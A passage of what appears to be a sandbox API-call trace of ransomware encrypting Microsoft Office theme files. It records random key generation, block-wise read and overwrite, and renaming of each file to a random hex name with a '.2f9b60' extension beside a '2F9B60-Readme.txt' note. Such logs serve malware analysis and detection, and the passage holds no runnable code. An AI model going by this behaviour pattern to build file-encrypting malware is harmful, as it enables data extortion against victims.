RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x16d7a414 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x61f44657 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x613bed86 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x71adfe2f [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x1aef4865 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x10b88e35 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x327489e1 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x8598941 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x4e5387f0 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x46f6a777 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x28be3706 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x317dc63 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x425a990d [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x10a15f6d [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x25629239 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x50fbb4c3 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x2df18aa6 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x2a1dba66 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x711834ab [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x345df440 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x86b0827 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x50c1147e [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x78270fbf [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x22e1b53 [0111.660] RtlRandomEx (in: Seed=0x3406f8d0 | out: Seed=0x3406f8d0) returned 0x7aa9b917 [0111.670] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.670] ReadFile (in: hFile=0x160c, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3406f940, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x3406f940*=0x3c00, lpOverlapped=0x0) returned 1 [0111.672] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8030 [0111.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8030) returned 1 [0111.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e885a0 [0111.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8030 [0111.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0111.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a76a0) returned 1 [0111.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.674] WriteFile (in: hFile=0x160c, lpBuffer=0x41e885a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3406f940, lpOverlapped=0x0 | out: lpBuffer=0x41e885a0*, lpNumberOfBytesWritten=0x3406f940*=0x3c00, lpOverlapped=0x0) returned 1 [0111.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e885a0) returned 1 [0111.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0111.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9fd70 [0111.677] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.677] WriteFile (in: hFile=0x160c, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3406f9f0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x3406f9f0*=0x110, lpOverlapped=0x0) returned 1 [0111.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d90 [0111.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d90) returned 1 [0111.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202a7d90 [0111.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7dc0 [0111.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d00 [0111.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d00) returned 1 [0111.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd971c0 [0111.688] sprintf (in: _Dest=0x1cd971c0, _Format="%c%c" | out: _Dest="61") returned 2 [0111.688] sprintf (in: _Dest=0x1cd971c2, _Format="%c%c" | out: _Dest="7e") returned 2 [0111.688] sprintf (in: _Dest=0x1cd971c4, _Format="%c%c" | out: _Dest="19") returned 2 [0111.688] sprintf (in: _Dest=0x1cd971c6, _Format="%c%c" | out: _Dest="e9") returned 2 [0111.688] sprintf (in: _Dest=0x1cd971c8, _Format="%c%c" | out: _Dest="d4") returned 2 [0111.688] sprintf (in: _Dest=0x1cd971ca, _Format="%c%c" | out: _Dest="26") returned 2 [0111.688] sprintf (in: _Dest=0x1cd971cc, _Format="%c%c" | out: _Dest="c6") returned 2 [0111.688] sprintf (in: _Dest=0x1cd971ce, _Format="%c%c" | out: _Dest="d9") returned 2 [0111.688] sprintf (in: _Dest=0x1cd971d0, _Format="%c%c" | out: _Dest="57") returned 2 [0111.688] sprintf (in: _Dest=0x1cd971d2, _Format="%c%c" | out: _Dest="a2") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971d4, _Format="%c%c" | out: _Dest="96") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971d6, _Format="%c%c" | out: _Dest="67") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971d8, _Format="%c%c" | out: _Dest="e3") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971da, _Format="%c%c" | out: _Dest="db") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971dc, _Format="%c%c" | out: _Dest="11") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971de, _Format="%c%c" | out: _Dest="4a") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971e0, _Format="%c%c" | out: _Dest="a6") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971e2, _Format="%c%c" | out: _Dest="fc") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971e4, _Format="%c%c" | out: _Dest="39") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971e6, _Format="%c%c" | out: _Dest="f9") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971e8, _Format="%c%c" | out: _Dest="2b") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971ea, _Format="%c%c" | out: _Dest="a3") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971ec, _Format="%c%c" | out: _Dest="0d") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971ee, _Format="%c%c" | out: _Dest="75") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971f0, _Format="%c%c" | out: _Dest="0d") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971f2, _Format="%c%c" | out: _Dest="6f") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971f4, _Format="%c%c" | out: _Dest="47") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971f6, _Format="%c%c" | out: _Dest="b6") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971f8, _Format="%c%c" | out: _Dest="22") returned 2 [0111.689] sprintf (in: _Dest=0x1cd971fa, _Format="%c%c" | out: _Dest="8d") returned 2 [0111.689] RtlInitAnsiString (in: DestinationString=0x3406fa68, SourceString="617e19e9d426c6d957a29667e3db114aa6fc39f92ba30d750d6f47b6228d" | out: DestinationString="617e19e9d426c6d957a29667e3db114aa6fc39f92ba30d750d6f47b6228d") [0111.690] RtlAnsiStringToUnicodeString (in: DestinationString=0x3406fa38, SourceString="617e19e9d426c6d957a29667e3db114aa6fc39f92ba30d750d6f47b6228d", AllocateDestinationString=1 | out: DestinationString="617e19e9d426c6d957a29667e3db114aa6fc39f92ba30d750d6f47b6228d") returned 0x0 [0111.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4ade0 [0111.690] wcscat (in: _Dest=0x20279df0, _Source="617e19e9d426c6d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\617e19e9d426c6d") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\617e19e9d426c6d" [0111.690] wcscat (in: _Dest=0x20279df0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\617e19e9d426c6d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\617e19e9d426c6d.2f9b60" [0111.690] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\617e19e9d426c6d.2f9b60", NtPathName=0x3406fa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\617e19e9d426c6d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1b776af0 [0111.690] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x3406fab0, FileInformation=0x1b776af0, Length=0xd2, FileInformationClass=0xa) returned 0x0 [0111.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0111.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.692] NtQueryInformationFile (in: FileHandle=0x160c, IoStatusBlock=0x3406fa78, FileInformation=0x3406fa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3406fa78, FileInformation=0x3406fa88) returned 0x0 [0111.692] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x3406fa78, FileInformation=0x3406fa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0111.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ade0) returned 1 [0111.694] FlushFileBuffers (hFile=0x160c) returned 1 [0111.698] CloseHandle (hObject=0x160c) returned 1 [0111.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279df0 [0111.700] wcscpy (in: _Dest=0x20279df0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.700] wcscat (in: _Dest=0x20279df0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0111.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd658c0) returned 1 Thread: id = 1084 os_tid = 0x1798 [0111.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 0x20 [0111.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx", dwFileAttributes=0x20) returned 1 [0111.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x160c [0111.703] GetFileSizeEx (in: hFile=0x160c, lpFileSize=0x3413f700 | out: lpFileSize=0x3413f700*=27781) returned 1 [0111.703] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x6c81, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.703] ReadFile (in: hFile=0x160c, lpBuffer=0x3413f680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3413f6c8, lpOverlapped=0x0 | out: lpBuffer=0x3413f680*, lpNumberOfBytesRead=0x3413f6c8*=0x4, lpOverlapped=0x0) returned 1 [0111.705] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a80b0 [0111.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8530 [0111.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8500 [0111.705] NtQuerySystemTime (in: CurrentTime=0x3413f5c0 | out: CurrentTime=0x3413f5c0*=132462177171790000) returned 0x0 [0111.705] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x30e90ddf [0111.705] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x143b7983 [0111.705] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x7ab73654 [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x12f7f544 [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x6539d0e2 [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x32124414 [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x2886827e [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x13d1748b [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x7c99eacb [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0xd494d7d [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x6bf9fa56 [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x1d26e3c [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x54c71db9 [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x2ce5af1 [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x1287bf70 [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x5b7e853f [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x3f137aaf [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x111aa149 [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x5f343f8b [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x6ea2c153 [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x6a7eaca1 [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x5e275658 [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x29c94c4a [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x5f1e2dca [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x5f534463 [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x754c9e3d [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x15bd0d88 [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x55a13cd0 [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x1a057c22 [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x1b45cdfb [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x37ae62ca [0111.706] RtlRandomEx (in: Seed=0x3413f5b0 | out: Seed=0x3413f5b0) returned 0x741c13b [0111.718] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.718] ReadFile (in: hFile=0x160c, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3413f620, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x3413f620*=0x3c00, lpOverlapped=0x0) returned 1 [0111.725] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a80b0 [0111.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a80b0) returned 1 [0111.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e885a0 [0111.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a80b0 [0111.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8500 [0111.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8500) returned 1 [0111.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.726] WriteFile (in: hFile=0x160c, lpBuffer=0x41e885a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3413f620, lpOverlapped=0x0 | out: lpBuffer=0x41e885a0*, lpNumberOfBytesWritten=0x3413f620*=0x3c00, lpOverlapped=0x0) returned 1 [0111.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e885a0) returned 1 [0111.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0111.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202a8500 [0111.740] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.740] WriteFile (in: hFile=0x160c, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3413f6d0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x3413f6d0*=0x10c, lpOverlapped=0x0) returned 1 [0111.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0111.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f70) returned 1 [0111.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20261f70 [0111.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a90 [0111.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260aa0 [0111.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260aa0) returned 1 [0111.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9fd70 [0111.743] sprintf (in: _Dest=0x1cd9fd70, _Format="%c%c" | out: _Dest="33") returned 2 [0111.743] sprintf (in: _Dest=0x1cd9fd72, _Format="%c%c" | out: _Dest="d8") returned 2 [0111.743] sprintf (in: _Dest=0x1cd9fd74, _Format="%c%c" | out: _Dest="8a") returned 2 [0111.743] sprintf (in: _Dest=0x1cd9fd76, _Format="%c%c" | out: _Dest="b6") returned 2 [0111.743] sprintf (in: _Dest=0x1cd9fd78, _Format="%c%c" | out: _Dest="5f") returned 2 [0111.743] sprintf (in: _Dest=0x1cd9fd7a, _Format="%c%c" | out: _Dest="43") returned 2 [0111.743] sprintf (in: _Dest=0x1cd9fd7c, _Format="%c%c" | out: _Dest="fe") returned 2 [0111.743] sprintf (in: _Dest=0x1cd9fd7e, _Format="%c%c" | out: _Dest="52") returned 2 [0111.743] sprintf (in: _Dest=0x1cd9fd80, _Format="%c%c" | out: _Dest="50") returned 2 [0111.743] sprintf (in: _Dest=0x1cd9fd82, _Format="%c%c" | out: _Dest="30") returned 2 [0111.743] sprintf (in: _Dest=0x1cd9fd84, _Format="%c%c" | out: _Dest="91") returned 2 [0111.743] sprintf (in: _Dest=0x1cd9fd86, _Format="%c%c" | out: _Dest="62") returned 2 [0111.743] sprintf (in: _Dest=0x1cd9fd88, _Format="%c%c" | out: _Dest="b5") returned 2 [0111.743] sprintf (in: _Dest=0x1cd9fd8a, _Format="%c%c" | out: _Dest="31") returned 2 [0111.743] sprintf (in: _Dest=0x1cd9fd8c, _Format="%c%c" | out: _Dest="74") returned 2 [0111.743] sprintf (in: _Dest=0x1cd9fd8e, _Format="%c%c" | out: _Dest="c3") returned 2 [0111.744] sprintf (in: _Dest=0x1cd9fd90, _Format="%c%c" | out: _Dest="c4") returned 2 [0111.744] sprintf (in: _Dest=0x1cd9fd92, _Format="%c%c" | out: _Dest="b8") returned 2 [0111.744] sprintf (in: _Dest=0x1cd9fd94, _Format="%c%c" | out: _Dest="2c") returned 2 [0111.744] sprintf (in: _Dest=0x1cd9fd96, _Format="%c%c" | out: _Dest="80") returned 2 [0111.744] sprintf (in: _Dest=0x1cd9fd98, _Format="%c%c" | out: _Dest="96") returned 2 [0111.744] sprintf (in: _Dest=0x1cd9fd9a, _Format="%c%c" | out: _Dest="78") returned 2 [0111.744] sprintf (in: _Dest=0x1cd9fd9c, _Format="%c%c" | out: _Dest="24") returned 2 [0111.744] sprintf (in: _Dest=0x1cd9fd9e, _Format="%c%c" | out: _Dest="69") returned 2 [0111.744] sprintf (in: _Dest=0x1cd9fda0, _Format="%c%c" | out: _Dest="db") returned 2 [0111.744] sprintf (in: _Dest=0x1cd9fda2, _Format="%c%c" | out: _Dest="e1") returned 2 [0111.744] RtlInitAnsiString (in: DestinationString=0x3413f748, SourceString="33d88ab65f43fe5250309162b53174c3c4b82c8096782469dbe1" | out: DestinationString="33d88ab65f43fe5250309162b53174c3c4b82c8096782469dbe1") [0111.744] RtlAnsiStringToUnicodeString (in: DestinationString=0x3413f718, SourceString="33d88ab65f43fe5250309162b53174c3c4b82c8096782469dbe1", AllocateDestinationString=1 | out: DestinationString="33d88ab65f43fe5250309162b53174c3c4b82c8096782469dbe1") returned 0x0 [0111.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b86a1c0 [0111.744] wcscat (in: _Dest=0x20279df0, _Source="33d88ab65f43f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\33d88ab65f43f") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\33d88ab65f43f" [0111.744] wcscat (in: _Dest=0x20279df0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\33d88ab65f43f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\33d88ab65f43f.2f9b60" [0111.744] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\33d88ab65f43f.2f9b60", NtPathName=0x3413f6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\33d88ab65f43f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1b776af0 [0111.745] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x3413f790, FileInformation=0x1b776af0, Length=0xce, FileInformationClass=0xa) returned 0x0 [0111.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0111.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.747] NtQueryInformationFile (in: FileHandle=0x160c, IoStatusBlock=0x3413f758, FileInformation=0x3413f768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3413f758, FileInformation=0x3413f768) returned 0x0 [0111.747] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x3413f758, FileInformation=0x3413f768, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0111.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.748] FlushFileBuffers (hFile=0x160c) returned 1 [0111.757] CloseHandle (hObject=0x160c) returned 1 [0111.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279df0 [0111.759] wcscpy (in: 